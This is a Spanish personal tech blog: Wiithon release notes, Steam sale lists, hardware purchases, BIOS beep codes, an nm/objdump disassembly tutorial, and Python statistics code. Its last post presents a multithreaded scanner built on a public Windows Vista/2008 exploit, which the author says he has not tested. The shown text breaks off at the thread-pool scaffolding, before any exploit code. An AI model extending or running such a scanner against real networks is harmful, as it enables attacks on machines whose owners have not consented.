Vuelta al Wiithon y otras cosas

Buenas gente. Llevaba sin actualizar el Wiithon desde antes de navidades (por mi parte, hay un italiano, Carlo Mandelli, que me ayuda en corrección de bugs, respondiendo a todo el mundo en launchpad … un gran tio). Despues, empezaba los examenes de enero, que creo que he aprovado todo, excepto redes que no tuve tiempo de planificarla bien. Estoy especialmente contento por que he aprobado una de las asignaturas que más asco daba, Estadística, aunque despues de estudiarla le he cogido el gusto, especialmente a las binomiales, normales, etc … De hecho tengo ideas para utilizarlo en programación. Pero en fin, el caso es que por fin he acabado los examenes.

Ayer por la tarde publique en la versión de desarrollo (me tire como 3 o 4 horas escribiendo del tirón sin probar si quiera) un convertidor de diferentes tipos de imagenes Wii, ahora mismo solo hay 4 posibles conversiones:

  • ISO -> WBFS
  • ISO -> WDF
  • WBFS -> ISO
  • WDF -> ISO

No tengo intención de dar soporte al formato de Hermes(Ciso), al menos en un futuro cercano debido a que no lo uso, y el WDF lo veo un desarrollo mucho más serio y que me da mucha más confianza como el formato que menos ocupa y por tanto el candidato para almacenar juegos.

El formato WBFS como sabreis, es para USB Loaders que admiten el lanzamiento en particiones FAT, que yo sepa al menos hay 2, el Configurable USB Loader y el GX USBLoader. Yo personalmente prefiero el GX. Con el formato WBFS debeis poner los archivos que os genera la conversión de ISO a WBFS (2 archivos) en unidadFAT://WBFS/, es decir en una carpeta llamada WBFS en el raiz de vuestra unidad externa usb que conectareis a la Wii.

El formato WDF no permite el lanzamiento desde ningún loader ni es válido para grabación (El ISO es el único que sirve para grabar), pero como he dicho es el que más comprime, por tanto es bueno para almacenamiento.

No obstante, yo no abandonaría el WBFS por el FAT todavía. ya que tanto el WBFS como el WDF su estabilidad esta por probar.

Como objetivos inmediatos para siguientes incrementos, y ya pasar a pruebas de estabilidad para lanzar la 1.2 estable, tengo al menos 2:

  • Ventana de dialogo cuando vamos a extraer y configurar allí, el formato de extracción, la carpeta de salida y dar la posibilidad de hacer extracciones masivas de todos los juegos.
  • Otra ventana de dialogo para facilitar la tarea de sincronizar las caratulas que tiene almacenadas Wiithon con la SD. Ya que estas serán las caratulas que realmente veremos en la wii.
  • Añadir 2 columnas más a la lista de juegos:
    • Una banderita para indicar la región del juego: Europa, USA, Japón y Mundo
    • Administrar favoritos, todavía no lo he pensado mucho, pero las opciones son: o poner una estrellita binaria, ME GUSTA / NO ME GUSTA, o en plan ipod: estrellitas de 0 a 5.

Aprovecho el Post para pediros que voteis a Antonio El Gato para Eurovisión:

http://votoseurovision.rtve.es/es/votar.php?id=12141

Os pido que voteis como mienbro de MediaVida desde hace media vida xD. No es coña, empeze con 12 y tengo 24. El WebMaster de MediaVida tambien llamado Pollo o Beavis fue mi maestro en desarrollo Web. Con 14 años andaba haciendo una web de configs de counter strike (cs-config.com) donde llegue a picos de 5000 visitas diarias. Cada vez que tenía dudas con PHP/MYSQL le preguntaba a él, y me ayudaba sin problemas.

Que me sienta parte de la comunidad o que la tenga cierta simpatía no es un buen motivo para pedir voto para eurovisión, la verdad. A mí me gustaría que fuera un Elvis Presley español, pero eso no es posible, por tanto votar al gato es la mejor forma de quitar hierro al asunto y de manifestarnos ante la actual situación de falta de calidad en el arte español.

Este hombre, tiene mucha ilusión por ir, es la tercera vez que se presenta, la primera vez iba a ganar, quedando el chikilicuatre segundo, pero RTVE con un movimeinto de completa manipulación, le quito la gran mayoría de sus votos dejandolo 20 aprox. Con la edad que tiene, no va a tener muchas oportunidades más. Esta tercera vez, va a ser mucho canteo eliminarlo, ya estamos cuartos, y hace muy pocos días estabamos 14º … Creemos que se han unido a nuestra causa 2 comunidades más, elrellano y meristation.

Lee más »

Feliz año 2010 !! La cosa va de Steam

Bueno perdonar por no postear el día 1, he estado estos días algo desconectado. Uno de los motivos son las ofertas del steam, que han sido la ostia. Estas son las ofertas:

Día 1 (23 de diciembre)
Defense Grid: The Awakening – 75% – comprado el ultimo día
Grand Theft Auto – 75% – repiten el ultimo día, pero ya lo tenía
Mirror’s Edge – 75% – No me entere de la oferta, lo quería
Operation Flashpoint: Dragon Rising – 50%
S.T.A.L.K.E.R: Shadow of Chernobyl – 90%- comprado el ultimo día

Día 2
Football Manager™ 2010 – 25%
iD Super Pack – 66%
Left 4 Dead 2 – 33%- repiten el ultimo día, pero ya lo tenía
Need for Speed: Shift – 25%
Serious Sam HD – 50%

Día 3
Red Faction Guerilla – 75%
Battlefield 2: Complete Collection – 75% – No me entere de la oferta, lo quería, MIERDA xD
King’s Bounty: Armored Princess – 75%
Resident Evil 5 – 50% – No me entere de la oferta, lo quería
Cogs – 80%
Elf Bowling: Hawaiian Vacation – 1 dolar

Día 4
Lumines™ and the Lumines™ Base+Advance Pack – 80%
Torchlight – 75% – COMPRADO el último día
Star Wars Premier Pack – 50%
Universe at War: Earth Assault – 75%
Prototype™ – 50% – Lo he jugado en PS3 y no me gusto nada.
Dragon Age: Origins y su versión Digital Deluxe Edition – 25% – mala oferta

Día 5
Hearts of Iron III – 75%
Zombie Driver – 75%
Day of Defeat: Source – 75% – Arrepentido, me lo debí comprar
Dead Space – 66%
Complete PopCap Collection – 50%

Día 6
Space Siege – 75%
Burnout Paradise: The Ultimate Box – 75%- Arrepentido, me lo debí comprar
The Orange Box – 50% – YA LO TENÍA
Prey – 85% – Quería comprarlo pero se agotaron las CDKEYS :(
Killing Floor – 75% – COMPRADO el último día.

Día 7
Stormrise – 75%
Jade Empire – 75%
King Arthur: The Role-playing Wargame – 50%
Company of Heroes: Tales of Valor – 75%f – No era mala oferta, pero no …
Silent Hill Homecoming – 75% – No me entere de la oferta, lo quería
Mr. Robot – 80%

Día 8
FIFA Manager 10 – 33%
Call of Duty: World at War – 50% – Ya lo tenía
Left 4 Dead – 75% – YA LO TENIA
Max Payne – 75% – COMPRADO

Max Payne 2 – 75% – COMPRADO
Sid Meier’s Civilization IV + 3 expansiones – 75% – COMPRADO, ofertaza
Osmos – 80%

Día 9
Medieval II: Total War – 75% – COMPRADO, tambien me pille el Rome: Total War
Crysis Maximum Edition – 66% – Esta a 10€ el 1 …
Half-Life: Source – 75%
Street Fighter IV – 75% – Ya lo tenía
Multiwinia + Darwinia – 80%
Shattered Horizon – 75% – Medio arrepentido, debí comprarlo

Día 10
Todos los DOOM, incluyendo el Complete Pack – 66%
Sam & Max Complete Seasons 1 & 2 – 75%
Mass Effect – 75% – COMPRADO
Portal – 75% – YA LO TENÍA
RedLynx Trials 2: Second Edition – 75% – COMPRADO, No juego a otra cosa, que vicio.
Devil May Cry 4 – 25%

Día 11
Trine – 75% – COMPRADO
The Elder Scrolls III: Morrowind® Game of the Year Edition – 75%
Counter-Strike: Source – 75% – COMPRADO (es un sacrilegio pero no lo tenía en mi cuenta)
Painkiller: Collectors Pack – 75%
Todos los Command & Conquer – 66%

El Último Día (3 de enero)
BioShock – 75% – COMPRADO
Grand Theft Auto IV – 75% – YA LO TENIA
Torchlight – 75% – COMPRADO
Left 4 Dead 2 – 33% – YA LO TENIA
Killing Floor – 75%- COMPRADO
Defense Grid: The Awakening – 75%- COMPRADO
S.T.A.L.K.E.R.: Shadow of Chernobyl – 90% – COMPRADO

Normalmente me puedo gastar en juegos en navidad unos 120€ o incluso más, obteniendo 2 o 3 juegos de nuevo lanzamiento, pero estas navidades todos estos juegos, en formato digital me han costado unos 70€ y tengo unos 20 juegos.

Desde ahora no voy a compar un juego en tienda si vale más de 10€.  De hecho tenía comprado el GTAIV en tienda, y apunto estuve de volver a comprarlo por steam simplemente por el coñazo de que me pide CD al jugar.

En steam ningún juego te pide disco, te puedes hacer tu propio disco backup con un mix de todos tus juegos y así evitarte las futuras descargas, los juegos son más baratos, hay toda una comunidad y otros valores añadidos.

Esta es mi opinión sobre steam ahora, pero en un futuro puede cambiar ya que en el pasado no me convencía mucho, ya que steam surge como una forma de comercializar el counter-strike y yo en ese momento estaba en clanes, no tenía mucho pasta … pero al final a los antiguos usuarios le “regalarón”(ya era gratuito, evidentemente) el counter strike y derivados, algo lógico, pero hay esta la clave de su éxito como para empezar a confiar en ellos.

Ahora los precios han vuelto a subir mucho, así que tendré que esperar a la siguiente navidad o derivados.

Otro motivo por el que he comprado más juegos de lo normales, es que ayer me llego un pedido de 4 frags para montar el resto de piezas que me faltaban.

En “mi tienda” a precio del proveedor ACROSS consegui:
AMD Phenom™ II X4 965 3,4Ghz a 120€
Gigabyte GA-MA790XT-UD4P a 85€
Seagate 1,5 TB por 60€

En el media markt me pille una grabadora LG 22x normalita por 29€, en caja(con software).

Primer pedido a 4 frags:

1 x Alfombrilla SteelSeries QcK+   
14.95EUR
1 x Caja Cooler Master HAF 922   
97.58EUR
1 x Sharkoon SATA Quickport   
26.10EUR
1 x Ratón Razer DeathAdder – Optico   
47.56EUR

Segundo pedido a 4 frags:

1 x Fuente Corsair CMPSU-TX750 – 750W   
111.94EUR
1 x Disipador CPU Noctua NH-U12P SE2 – Socket 1156/1366/AMD   
55.99EUR
1 x ATI XFX Radeon 5870 – XXX Edition – HDMI – 1GB (Dirt 2 Incluido)   
359.60EUR
1 x Pasta Térmica Arctic Cooling MX-2 – 4g   
4.41EUR
1 x OCZ3P1866LV4GK – Memoria OCZ DIMM 4GB (2×2) DDR3-1866 Platinum L   
121.80EUR
1 x Lector DVD LG 16X OEM SATA – Negro (Canón Incluido)   
16.82EUR
1 x Teclado a4tech Gamemaster KB-28G – En español   
9.99EUR
1 x Refrigerador portatil Cooler Master Notepal D1   
16.74EUR
1 x Microfono Zalman ZM-MIC1   
8.95EUR

Además estaba montando 2 ordenas casi clones (edit: uno para mi y otro para mi novia ;* ) asi que 4 frags me debería considerar buen cliente xD.

Asi que me voy a liar todo esto esta tarde, y si os interesa algún hardware concreto os puedo contar que tal va.

Estoy bastante estresado estos días, debería estar estudiando Estadística y/o Gestión , Administración de Empresas, Redes pero con los turrones, polvorones, juegos del steam no soy capaz de abrir un libro, y eso me hace sentir un poco mal. Este año me tengo que sacar Estadísitica como sea, ya que es la única que me queda de segundo, y este año extinguen 2º presencial. Además no quiero dejar de lado Wiithon que es mi primer proyecto de software libre importante y debo dormir bien para rendir en el curro. (programo como LAMP).

Bueno, que os traigan muchas cosas los reyes!

Sistemas de Información Geográfica “paranoyantes”

Aquí pongo algunos sistemas de información para la prevención/detección de catástrofes. Esto se me ha ocurrido a raíz de que hace una hora ha habido un terremoto en el oceano pacífico, al este del estrecho de Gibraltal.

Bueno, os pongo el de los terremotos y alguno que tenía en favoritos:

Terremetos en el mundo en los últimos 7 días (.gov)
Riesgo de meteoritos sobre el planeta en los próximos 100 años.(.gov)
Prevención de Huracanes (.gov)
Volcanes en activo (el dominio no garantiza que sea una fuente fiable)

David Bravo en 59 segundos, sublime

Me imagino que conocereis este famoso abogado especializado en derecho informático y especialmente en derechos de autor. Ya ha sido invitado prácticamente ha todos los debates televisivos sobre derecho a copia privada y derechos en Internet en general.

Os diré que este tipo es en una palabra, un FENÓMENO. Por dando va, reparte ostias par todos, es el foco del debate y deja planchado a cualquiera. Por supuesto por mucha ORATORIA que tenga David (y sea el único en saber como comunicar ideas que otras personas compartimos), esto se consigue debido a que el bando opuesto del debate, sin duda no tiene razón, esta errado, forma parte del lado oscuro, o como queráis llamarlo.

El programa ha terminado hace pocas horas y no he encontrado ningún video para pastearos frases literales y objetivas. Os recomiendo que lo busqueis, no obstante os dejo una imagen con un resumen con una de las conversiones con Enrique Urbizu que mejor lo he pasado. (No tomeis las frases al pie de la letra, son interpretaciones de mi recuerdo).


Todos los miembros invitados son: el compositor y consejero de la SGAE, José Miguel Fernández Sastrón; el director de cine y presidente de DAMA (Derechos de Autor de Medios Audiovisuales), Enrique Urbizu; el periodista y bloggero, Ignacio Escolar; el presidente de AETIC, la patronal de las empresas de comunicación, Jesús Banegas; el escritor, Lorenzo SilvaPOR SUPUESTO el abogado especialista en propiedad intelectual y derecho informático, David Bravo

Enlaces:
Web de 59 segundos
Blog de David Bravo

Pasar secuencia de imagenes a video

En concreto lo estoy utilizando para las animaciones generadas por blender en archivos png:

ffmpeg -y -f image2 -i %4d.png -b 10800k render.avi && gnome-open render.avi

Guía para principiantes en Blender 2.5

Hemos tenido que esperar mucho para poder degustar la delicatessen que la Fundación Blender ha liberado hace unos pocos días. La versión 2.5 es mucho más que un simple paso de las 2.4x a las 2.5x; es el comienzo de una nueva manera de entender Blender. No sólo tenemos que olvidarnos de las eternas críticas a aquella poco amigable interfaz de carácter “in house”  sino que podemos afirmar que la estética de la nueva propuesta es elegante a más no poder. Por no hablar de la organización de las herramientas que es totalmente coherente (aunque debamos hacer un esfuerzo por aprender de nuevo dónde está cada cosa)

Versión Online
Versión PDF

Fuente:
http://www.blendernation.com/blender-2-5-beginners-guide-in-spanish/
http://joaclintistgud.wordpress.com/2009/11/27/blender-guia-de-iniciacion-para-recien-llegados-adaptada-a-la-version-2-5/

Wiithon 1.1 publicado!

Actualizado: sábado, 21 de noviembre de 2009

Bueno por fin publicamos la nueva versión tras casi 5 meses desde el anuncio de la 1.0.
Para mi wiithon me ha aportado mucho en conocimientos, me he acostumbrado tras muchos años de SQL puro, el uso de bases de datos ORM. He aprendido la potencia del combo python + pygtk. He aprendido a crear paquetes deb que siguen las políticas de Debian. Crear manpages, hacerme un repositorio de paquetes, resolver conflictos de bazaar, subir paquetes, comprender los problemas de punteros en 32bits y 64 bits y por último, he aprendido a amar a los Makefiles y esa gran satisfacción de hacer cosas complejas de forma controlada y sencilla.

Sin más rollo os pongo un tutorial mucho más simplificado, si lo comparamos con el de la versión anterior:

  1. Novedades
  2. Características ya existentes
  3. Reporte de bugs
  4. Instalación
  5. Actualización
  6. Uso de Wiithon en Consola (CLI)
  7. Descargar código fuente
  8. Colaborar en Wiithon
  9. Estado de traducción de Wiithon.
  10. Team wiithon
  11. Pantallazos

Lee más »

Obtener información de Binarios y librerías compartidas (nm/objdump)

nm – Listado de funciones de un objeto

Si queremos obtener un listado de funciones que tiene un código objeto o una librería compartida se utiliza “nm”, que lo descubrí de casualidad.
Este comando lista todos los símbolos que contiene el código objeto o la librería dinámica.
Por ejemplo vamos a crear una librería dinámica con solo una función llamada “factorial”.
Este es el código:

#include <stdio.h>

int factorial(int n)
{
    return n == 0 ? 1 : n * factorial(n-1);
}

Lo compilo así:

gcc factorial.c -o libfactorial.so -shared -fPIC

Ahora analizamos la librería con el comando “nm”:

nm -D libfactorial.so

Obtenemos esto:

         w _Jv_RegisterClasses
00002010 A __bss_start
         w __cxa_finalize
         w __gmon_start__
00002010 A _edata
00002018 A _end
000004c8 T _fini
00000314 T _init
0000044c T factorial

Vemos que nuestro función en código maquina esta en el offset del archivo 0×44c.
Si leemos el man, obtenemos el significado de los símbolos:

Symbol Type Description
A The symbol’s value is absolute, and will not be changed by further linking.
B Un-initialized data section
D Initialized data section
T Normal code section
U Undefined symbol used but not defined. Dependency on another library.
W Doubly defined symbol. If found, allow definition in another library to resolve dependency.

Las funciones T son las linkables, exceptuando “_fini” y “_init” que son funciones comunes a cualquier librería dinámica. (Esto es una suposición mía, aunque muy lógica por otra parte).

Un ejemplo de código de linkado típico:

#include <stdio.h>

int factorial(int n);

int main()
{
 printf("5! = %d\n", factorial(5));
 return 0;
}

Se compila así:

gcc link.c -o link -L. -lfactorial

Y como la librería no esta en una ruta estándar, se ejecutaría así:

export LD_LIBRARY_PATH="." && ./link
5! = 120

Vamos a probar un código que linke dinamicamente, pero en lugar de el fácil “-lname”, lo haré con el dload, que nos sirve de ejercicio para entender como funcionan las librerías dinámicas. El código es el siguiente:

#include <stdio.h> // para fprintf
#include <stdlib.h> // para exit
#include <dlfcn.h>  // para dlopen, dlsym, dlerror, dlclose

int factorial(int n);

int main(int argc, char **argv)
{
 void *lib_handle;
 int (*factorial)(int);
 int x;
 char *error;

 lib_handle = dlopen("libfactorial.so", RTLD_LAZY);
 if (!lib_handle)
 {
 fprintf(stderr, "%s\n", dlerror());
 exit(1);
 }

 factorial = dlsym(lib_handle, "factorial");
 if ((error = dlerror()) != NULL)
 {
 fprintf(stderr, "%s\n", error);
 exit(1);
 }

 x = factorial(5);
 printf("5! = %d\n",x);

 dlclose(lib_handle);
 return 0;
}

El código hay que mirarlo detenidamente, especialmente el puntero a función, pero por lo demás, es sencillo y se autocomenta.
Se compila así:

gcc -rdynamic -o dlopen dlopen.c -ldl

Probamos el ejecutable:

export LD_LIBRARY_PATH="." && ./dlopen
5! = 120

objdump – Desensamblando de binarios

Con este comando podemos obtener el código en ensamblador a partir del código maquina. El comando es el siguiente:

objdump -d libfactorial.so

Si además lo compilamos introduciendo los símbolos de debugeo (parámetro -g), podemos ver el código en ensamblador combinado con el código fuente. Se añadiría el parametro -S:

objdump -d -S libfactorial.so

Ya sabíamos que nuestra función “factorial” estaba en el offset 0×44c, por tanto lo busco en la salida de objdump y pasteo la salida (en este caso, con símbolos de debugeo):

0000044c <factorial>:
#include <stdio.h>

int factorial(int n)
{
 44c:	55                   	push   %ebp
 44d:	89 e5                	mov    %esp,%ebp
 44f:	53                   	push   %ebx
 450:	83 ec 14             	sub    $0x14,%esp
 453:	e8 ef ff ff ff       	call   447 <__i686.get_pc_thunk.bx>
 458:	81 c3 9c 1b 00 00    	add    $0x1b9c,%ebx
    return n == 0 ? 1 : n * factorial(n-1);
 45e:	83 7d 08 00          	cmpl   $0x0,0x8(%ebp)
 462:	74 14                	je     478 <factorial+0x2c>
 464:	8b 45 08             	mov    0x8(%ebp),%eax
 467:	83 e8 01             	sub    $0x1,%eax
 46a:	89 04 24             	mov    %eax,(%esp)
 46d:	e8 f2 fe ff ff       	call   364 <factorial@plt>
 472:	0f af 45 08          	imul   0x8(%ebp),%eax
 476:	eb 05                	jmp    47d <factorial+0x31>
 478:	b8 01 00 00 00       	mov    $0x1,%eax
}
 47d:	83 c4 14             	add    $0x14,%esp
 480:	5b                   	pop    %ebx
 481:	5d                   	pop    %ebp
 482:	c3                   	ret

Con el poco ensamblador que me enseñan en la uni, puedo deducir los siguientes offsets:

45e: Es la comparación de n con 0
462: Si la igualdad anterior se cumple, salta a la línea 44c + 2c = 478
478: Es el interior del IF, iguala el parámetro que viene de la pila con 1. Definiendo 0! = 1
464: Se ejecutaría si la comparación de 45e no se da. Se asigna la vuelta de la recursión
467: Se resta 1 a n
46a: Se prepara e parámetro n-1 en eax, previo a una llamada.
46d: Se hace la llamada recursiva a si mismo.
472: Se multiplica por 8 la vuelta de la recursión.
476: Estamos en el else, por tanto esta jmp se salta el interior del if. 44c + 31 = 47d
47d: De aquí en adelante prepara el return, deja la pila como estaba antes de la llamada y se restaura el IP.

Vamos a hacer algo fácil “crackear”(si se le puede llamar crackeo a esto xD) el programa para cambiar la asignación de:
0!=1 por 0!=4

Por tanto el 5! en lugar de dar 120 va dar 4 veces más, 480.

Para hello abrimos con algún editor de hexadecimal:

ghex2 libfactorial.so

Vamos al OFFSET 479 (478 + 1) y cambiamos el 01 por 04.

Hacemos la prueba de fuego:

export LD_LIBRARY_PATH="." && ./dlopen

Y efectivamente:

5! = 480

OuYeah!


Bueno con esto acabo, este articulo es sobre todo didáctico por lo que si alguno puede completar más el articulo con sus comentarios, se le agradeceremos todos.

Fuentes:

http://www.yolinux.com/TUTORIALS/LibraryArchives-StaticAndDynamic.html

http://unixhelp.ed.ac.uk/CGI/man-cgi?nm

http://node1.yo-linux.com/cgi-bin/man2html?cgi_command=ld

http://node1.yo-linux.com/cgi-bin/man2html?cgi_command=ldconfig

Significado pitados de la placa base

Me apunto aquí una chuleta con los errores del POST de la BIOS. Como sabeis esto cambio dependiendo del desarrollador de la BIOS, pero más o menos esto es un consenso. No obstante iré actualizando cuando no se cumpla:

No hay pitidos No hay suministro electrico o el parlante de sistema esta desconectado o defectuoso
1 pitido corto Arranque normal.
Pitido constante ininterrumpido Falla en el suministro electrico
Pitidos cortos y constantes placa base defectuosa.
1 pitido largo Error de memoria RAM.
RAM Refresh Failure. Los diferentes componentes encargados del refresco de la memoria RAM fallan o no están presentes.
1 pitido largo, 1 corto Fallo general en la placa madre o ROM básica del sistema
1 pitido largo,2 cortos No se encuentra la tarjeta de video, puede estar mal instalada o bien defectuosa.
1 pitido largo, 3 cortos No se encuentra monitor conectado a la tarjeta gráfica.
1 pitido largo, varios cortos Falla relacionada con el video (depende del tipo de tarjeta de video y del la configuración de la bios)
2 pitidos largos y uno corto Falla en la sincronización de imágenes
2 pitidos cortos Error de paridad de memoria. La paridad no es soportada por la placa base.
3 pitidos cortos Fallo de memoria en los primeros 64 Kbytes de la RAM.
4 pitidos cortos El temporizador o contador de la placa base se encuentra defectuoso. El Timer 1 de la placa no funciona.
5 pitidos cortos La CPU ha generado un error porque el procesador o la memoria de vídeo está bloqueada.
6 pitidos cortos El controlador o procesador del teclado (8042) puede estar en mal estado. La bios no puede conmutar en modo protegido. Este error se suele dar cuando se conecta/desconecta el teclado con el ordenador encendido.
7 pitidos cortos La CPU ha generado una interrupción excepcional o el modo virtual del procesador está activo.
8 pitidos cortos El adaptador de vídeo ( tarjeta gráfica) del sistema no existe o su memoria de vídeo (RAM) está fallando. No es un error fatal. Es un fallo de escritura de la Video RAM.
9 pitidos cortos Error de conteo de la Video RAM. El valor del checksum (conteo de la memoria) de la RAM no coincide con el valor guardado en la bios.
10 pitidos cortos El registro de la CMOS RAM falla a la hora de la desconexión.
11 pitidos cortos La memoria caché externa está fallando. En la bios hay una opción llamada video memory cacheable, que lo que hace es volcar el contenido de la ram de la tarjeta en el disco duro. Ponla en enable, haber si soluciona tu problema.
2 pitidos cortos Se ha detectado un error al realizar uno de los tests de hardware.
Pitidos cortisimos, tenues y constantes Posiblemente el teclado provoca este error o bien una tecla presionada durante el arranque.

Programar, para estudiar Estadística

Debido a que estadística es algo que me aburre sumamente, he encontrado un método de aprender entreteniéndome, programarme todos los algoritmos que voy viendo en clase.

He hecho una clase de estadística que dada una distribución en una lista de python y su correspondiente frecuencia absoluta, tambíen dada en otra lista, (obviamente de igual dimensión). Con estos 2 datos de entrada podemos llamar al metodo analisis() que nos mostrará todos los datos típicos de la estadistica descriptiva, desde la media hasta curtosis.

Obviamente puede tener fallos, si los detectais decirlo, no obstante cuando tenga tiempo los pruebo contrastando resultados y actualizo si es necesario.

Tambien metí las formulas de combinatoria en sus 7 combinaciones posibles. (premutacion con/sin rep, variación con/sin rep y combinación con/sin rep y una septima, las permutaciones circulares).

#!/usr/bin/python
# -*- coding: utf-8 -*-
# vim: set fileencoding=utf-8 :
# miércoles, 21 de octubre de 2009

import math
from math import sqrt

##################### GENERAL #############################

def factorial(n):
    if n == 0:
        return 1.0
    else:
        return n * factorial(n-1)

def productorio(lista):
    total = 1.0
    for n in lista:
        total *= n
    return total

def sumatorio(lista):
    total = 0.0
    for n in lista:
        total += n
    return total

##################### COMBINATORIA #############################

'''
Sí entran todos los elementos.
Sí importa el orden.
No/Si se repiten los elementos.
'''
def permu(n, circular = False):
    if circular:
        return factorial(n-1)
    elif isinstance(n,list):
        return factorial(sumatorio(n)) / productorio(map (lambda x:factorial(x),n))
    else:
        return factorial(n)

'''
No entran todos los elementos.
Sí importa el orden.
No/Si se repiten los elementos.
'''
def varia(n, m, repeticion = False):
    if repeticion:
        return n**m
    else:
        return factorial(n) / factorial(n-m)

'''
No  entran todos los elementos.
No importa el orden.
No/Si se repiten los elementos.
'''
def combi(n, m, repeticion = False):
    if repeticion:
        return combi(n+m-1,n)
    else:
        return factorial(n) / (factorial(m) * factorial(n-m))

##################### ESTADISTICA #############################

class MuestraEstadistica:

    def __init__(self, xi, fa):
        self.xi = xi
        self.fa = fa

    def total_muestras(self):
        return sumatorio(self.fa)

    def frec_rel(self):
        fi = []
        muestras = self.total_muestras()
        for i in range(len(self.fa)):
            fi.append(self.fa[i] / muestras)
        return fi

    def frec_acu(self):
        Fa = []
        acumulado = 0.0
        for i in range(len(self.fa)):
            acumulado += self.fa[i]
            Fa.append(acumulado)
        return Fa

    def frec_acu_rel(self):
        fi = self.frec_rel()
        Fi = []
        acumulado = 0.0
        for i in range(len(fi)):
            acumulado += fi[i]
            Fi.append(acumulado)
        return Fi

    def frec_rel_porc(self):
        fi = []
        muestras = self.total_muestras()
        for i in range(len(self.fa)):
            fi.append((self.fa[i] / muestras) * 100)
        return fi

    def moda(self):
        i_max = 0
        for i in range(len(self.fa)):
            if self.fa[i] > self.fa[i_max]:
                i_max = i
        return self.xi[i_max]

    def mediana(self):
        muestras = self.total_muestras()
        valor_mediana = muestras / 2.0
        Fa = self.frec_acu()
        for i in range(len(Fa)):
            if Fa[i] > valor_mediana:
                return self.xi[i]
            elif Fa[i] == valor_mediana:
                return (self.xi[i] + self.xi[i+1]) / 2.0
        return -1

    def cuartiles(self, k):
        muestras = self.total_muestras()
        valor_mediana = (k * muestras) / 4.0
        Fa = self.frec_acu()
        for i in range(len(Fa)):
            if Fa[i] > valor_mediana:
                return self.xi[i]
            elif Fa[i] == valor_mediana:
                return (self.xi[i] + self.xi[i+1]) / 2.0
        return -1

    def percentiles(self, k):
        muestras = self.total_muestras()
        valor_mediana = (k * muestras) / 100.0
        Fa = self.frec_acu()
        for i in range(len(Fa)):
            if Fa[i] > valor_mediana:
                return self.xi[i]
            elif Fa[i] == valor_mediana:
                return (self.xi[i] + self.xi[i+1]) / 2.0
        return -1

    # momento k respecto a ref
    def momento(self, k, ref = 0):
        suma = 0.0
        muestras = self.total_muestras()
        for i in range(len(self.xi)):
             suma += (((self.xi[i]-ref)**k) * self.fa[i])
        return suma / muestras

    def media(self):
        return self.momento(1, 0)

    def varianza(self):
        return self.momento(2, self.media())

    # Coeficiente de asimetría de Fisher
    def asimetria_fisher(self):
        return self.momento(3, self.media()) / self.desviacion_tipica()**3

    def asimetria_pearson(self):
        return (self.media() - self.moda()) / self.desviacion_tipica()

    def asimetria_bowley(self):
        return (self.cuartiles(3) + self.cuartiles(1) - (2*self.mediana())) / (self.cuartiles(3) - self.cuartiles(1))

    def curtosis(self):
        return self.momento(4, self.media()) / self.desviacion_tipica()**4

    def desviacion_tipica(self):
        return sqrt(self.varianza())

    def mostrarInfo(self, titulo, lista):
        print "----- %s --------" % titulo
        t = 0.0
        for d in lista:
            print "%.2f, " % d,
            t += d
        print "Total: %.2f" % t

    def analisis(self):

        Fa = self.frec_acu()
        fi = self.frec_rel()
        Fi = self.frec_acu_rel()
        fi_porc = self.frec_rel_porc()

        self.mostrarInfo('Muestra', self.xi)
        self.mostrarInfo('Frecuencia absoluta', self.fa)
        self.mostrarInfo('Frecuencia absoluta acumulada', Fa)
        self.mostrarInfo('Frecuencia relativa', fi)
        self.mostrarInfo('Frecuencia relativa acumulada', Fi)
        self.mostrarInfo('Frecuencia en porcentaje', fi_porc)

        # valores unicos
        print "-----------------"
        print "Media = %.2f" % self.media()
        print "Moda = %.2f" % self.moda()
        print "Mediana = %.2f" % self.mediana()
        print "Cuartil 1 = %.2f" % self.cuartiles(1)
        print "Cuartil 2 = %.2f" % self.cuartiles(2)
        print "Cuartil 3 = %.2f" % self.cuartiles(3)
        print "Percentil 30 = %.2f" % self.percentiles(30)
        print "Percentil 60 = %.2f" % self.percentiles(60)
        print "Percentil 78 = %.2f" % self.percentiles(78)
        print "Momento 8 respecto la media = %.2f" % self.momento(8, self.media())
        print "Varianza = %.2f" % self.varianza()
        print "Desviacion tipica = %.2f" % self.desviacion_tipica()
        print "asimetria Fisher = %.2f" % self.asimetria_fisher()
        print "asimetria Pearson = %.2f" % self.asimetria_pearson()
        print "asimetria Bowley = %.2f" % self.asimetria_bowley()
        print "Curtosis = %.2f" % self.curtosis()

##################### MAIN #############################

def main():
    xi = [1,2,3,4,5,6]
    fa = [20,40,60,80,100,120]
    s = MuestraEstadistica(xi, fa)
    s.analisis()

if __name__ == '__main__':
    main()

Diferencias: INNER JOIN, FULL OUTER JOIN y LEFT OUTER JOIN

Como sabreis SQL dispone de la sintaxis de JOIN como mejor método para la unión de tablas (aparte del producto cruzado, que apenas se usa por generar resultados de orden cuadrático).

Yo lo tengo claro desde hace unos años, pero recuerdo que fue lioso al principio. He encontrado el link definitivo para explicar todos estos conceptos que mezclan álgebra de Boole, teoría de conjuntos. La explicación es mediante diagramas de Venn:

Explicación visual de JOIN

Un saludo!

Escaner exploit para Windows Vista / 2008

Basandome en un sencillo exploit realizado por Laurent Gaffié, lo he complicado un poco, con el fin de facilitar un poco el testeo de este exploit.
Puede hacer un escaner en redes de tipo B, C o ip única. Realmente NO lo he probado, pero debería funcionar, no obstante irlo probando y lo ire modificando, también lo publicaré en Media-Vida.
Tambien le he metido remesa(pool) de hilos, para evitar tanta espera inútil de I/O.

#!/usr/bin/python
# -*- coding: utf-8 -*-
# vim: set fileencoding=utf-8 :
# Blog:  http://blogricardo.wordpress.com/
# Hecho Ricardo Marmolejo García
# Basado en el exploit de Laurent Gaffié
# Ultimo cambio : miércoles, 10 de septiembre de 2009 12:30
# Licencia: Creative Commons License Deed: Reconocimiento-No comercial-Compartir bajo la misma licencia 3.0 (  http://blogricardo.wordpress.com/licencia/ )

import time
import sys
import threading
from threading import Thread
from Queue import Queue
from socket import socket
from time import sleep

# configuracion
NUM_THREADS = 50
DEBUG = True
TIPO_RED = 'C'                                           # Tipo: 'B', 'C' o '1'

RED_UNICO = '192.168.1.4'
RED_C = "192.168.1.%d"
RED_B = "192.168.%d.%d"

class Pool:
    def __init__(self , numHilos):
        self.cola = Queue()
        self.numHilos = numHilos
        self.lock = False
        self.interrumpido = False
        self.numTrabajos = 0

    def intentarEmpezarTrabajo(self , cola , idWorker , *args):
        while not self.interrumpido:
            if (self.numTrabajos > 0):
                elemento = cola.get()
                self.ejecutar(idWorker , elemento , *args)
                cola.task_done()
                self.numTrabajos -= 1
            else:
                # comprueba si hay tareas cada cierto tiempo
                time.sleep(0.5)

    def estaOcupado(self):
